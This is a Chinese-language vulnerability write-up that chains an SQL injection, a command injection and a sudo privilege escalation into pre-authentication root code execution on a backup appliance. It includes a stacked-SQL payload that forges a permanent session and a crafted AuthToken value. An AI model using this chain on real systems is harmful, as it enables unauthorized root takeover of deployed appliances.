三个漏洞组合成的认证前root rce,做个小记录

认证前SQLI(有条件)

在文件 /grid/config/request.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/* If this script has PHP errors, bail out */
error_reporting(-1);
ini_set("display_errors", 1);
ini_set("html_errors", 0);

libxml_use_internal_errors(true);
$str = file_get_contents('php://input');
if (isset($str)) {
	$xml = simplexml_load_string($str);
	if (!$xml) {
		echo "Failed: ill-formed XML.\n";
		libxml_clear_errors();
		exit(1);
	}
	else {
		$ret = process_request($str);
		if ($ret === false) {
			$msg = bp_error();
			echo "$msg";
			exit(1);
		}
		else {
			echo "Success: $ret";
			exit(0);
		}
	}
}
else {
	echo "Error: Invalid request.";
	exit(1);
}

?>

$_POST 完全可控,经xml解析后直接传入 process_request,这是个扩展函数,扩展位于 /usr/lib64/php/modules/bpl.so,在扩展中会重新dlopen /usr/lib64/lobbpext.so.1,在二进制中找到函数 process_request

其中 hostname_valueidentity_valueasset_tag_value 都是从xml中取出来的数据,pgVExec 是执行的原生sql并没有使用参数绑定,存在SQL注入

前置条件

在取xml的值之前,会有一次条件判断

cmc_openvpn server confirm 必须为 true,命令实现为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function confirm
{
	test -f ${KEYS_DIR}/dh2048.pem &&
	test -f ${OPENVPN_DIR}/bin/updateCRL &&
	test -f ${OPENVPN_DIR}/crl.pem &&
	test -f ${OPENVPN_DIR}/inbound.conf &&
	test -f ${KEYS_DIR}/ca.key &&
	test -f ${KEYS_DIR}/ca.crt
	
	return $?
}

case $1 in
	server)
		if [ $# -eq 2 -a "$2" = confirm ]
		then
			confirm
			if [ $? -eq 0 ]
			then
				echo -n "true"
			else
				echo -n "false"
			fi
			exit 0

这里可以通过post一个单节点空内容的xml来判断是否可以做攻击

认证后命令注入

api/includes/systems.php 中的 update 函数中,有一个switch分支

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
case 'add-management':
	if (is_numeric($which) && $which > 0) {
		$data['id'] = (int)$which;
	}
	$system = $this->BP->get_system_info($data['id']);
	if ($system !== false) {
		//$credentialCheck = $this->hasValidCredentials($system['name'], $data['credentials']['username'], $data['credentials']['password']);
		$credentialCheck = $this->functions->grantManagementToLocalSystem($system['name'], $data['credentials']['username'], $data['credentials']['password']);
		if ($credentialCheck === true) {
			$status = $this->BP->add_mgmt_to_replication_source($system['id']);
		} else {
			$status = array('error' => 500, 'message' => $credentialCheck);
		}
	} else {
		$status = array('error' => 500, 'message' => 'System with this id was not found.');;
	}
	break;

$data 的值为 json_decode(file_get_contents("php://input")) 完全可控,其中 credentials 带入了 grantManagementToLocalSystem 函数中,函数定义在 api/includes/function.lib.php

这里必须有一个存在的 $system 的值,这个值是从数据库中获取,一般都会存在一个,id为1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function grantManagementToLocalSystem($ip, $username, $password) {
	$granted = true;
	$localHostInfo = $this->BP->get_hostname();
	if ($localHostInfo !== false) {
		$host = $localHostInfo['name'];
		$grantCommand = sprintf("/usr/bp/bin/rungrant.php  '%s'  '%s'  '%s'  '%s'", $ip, $username, $password, $host);
	  //  global $Log;
	  //  $Log->writeVariable("command is " . $grantCommand);
		exec($grantCommand, $outputArray, $returnValue);
		// if $returnValue is 0, okay, leave $granted as true.
		if ($returnValue !== 0) {
			$granted = implode("\n", $outputArray);
		}
	} else {
		$granted = "Could not determine local appliance host name.";
	}
	return $granted;
}

由于 $username$password 可控,并且直接带入了命令字符串中,造成命令注入

提权

/etc/sudoers 中可以看到针对apache有一些规则

1
2
3
4
5
6
7
8
9
Defaults:apache targetpw, timestamp_timeout=0
apache  ALL = NOPASSWD:  /usr/bp/bin/footprintReportUtil, \
                        /var/www/html/grid/portal/rflr_manage.php, \
                       /usr/bp/bin/cmc_restrict_ports, \
              PASSWD: /usr/bin/passwd, \
                      /sbin/shutdown, \
                      /bin/bash, \
                      /usr/bin/whoami
postgres ALL=(root) NOPASSWD: /usr/bp/bin/elk/elk_job_handler.sh,/usr/bp/bin/elk/elk_alert_handler.sh

跟进 /grid.portal/rflr_manage.php ,这是一个只能在cli下运行的php文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$options = getopt($shortopts, $longopts);
foreach (array_keys($options) as $opts) switch ($opts) {
  case 'create_zip':
    $createZip = true;
    $start_dir = (isset($options['create_zip']) ? $options['create_zip'] : '');
    $opt++;
  break;

else if ($createZip === true) {
  $result = doCreateZip($start_dir, $zipDelFiles);
}

function doCreateZip($startDir, $deleteAfterZip)
{
  global $log;
  global $zipBaseDir;
  global $debug;

  $func = "doCreateZip()";
  fprintf($log, "%s, %s\n", $func, $startDir);

  $zipDir = "$startDir";
  if ($debug) { fprintf($log, "%s, startDir: %s\n", $func, $zipDir); }

  $zipDir  = (substr($zipDir, 0, 1) == '/' ? $zipDir : '/'.$zipDir);
  $zipDir .= (substr($zipDir, -1,1) == '/' ? '' : '/');

  if ($debug) { fprintf($log,"%s, zipDir: %s\n", $func, $zipDir); }
  # define the zip file
  $zipFileName = "Unitrends-Restore" . rand(0, 999) . ".zip";
  $zipFileFull = $zipDir . $zipFileName;

  if (!isset($zipDir) || !strstr($zipDir, $zipBaseDir)) {
    fprintf(STDERR, "Starting directory is not allowed!");
    exit(1);
  }

  $cmd = "cd $zipDir; find . ! -type l | zip -0 $zipFileFull -@ > /dev/null 2>&1";
  if ($debug) { fprintf($log,"%s, find filelist and create zip cmd: %s\n", $func, $cmd); }
  system($cmd, $res);

传入参数 create_zip 经过一些目录处理后,直接带入了 $cmd 字符串,之后直接使用 system 执行,造成命令注入,所以可以在 apache:apache 下使用sudo运行这个文件,在 create_zip 参数中写入高权限命令,即可完成提权,需要注意的是这里有一个判断,不然会exit掉

1
if (!isset($zipDir) || !strstr($zipDir, $zipBaseDir))

$zipBaseDir = "_rflr",也就是说命令字符串中需要包含这个,随便构造一下即可

利用

由于注入点可以堆叠,所以可以考虑直接向数据库写数据,这里的表结构中存在一张sessions表,判断用户登录也是先从header的authtoken中取出uuid进行比较,所以可以直接堆叠写入一个不过期的session

1
1234';insert into sessions(user_id,uuid,expiration) values(1,'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa',9999999999);--

之后伪造一次 cookie

1
2
base64_encode("v0:aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa:1")
djA6YWFhYWFhYWEtYWFhYS1hYWFhLWFhYWEtYWFhYWFhYWFhYWFhOjE=

这个值就可以作为认证后的AuthToken头使用,此时拥有了访问认证后功能的能力

之后就可以使用认证后命令注入,配合提权直接使用root权限进行命令执行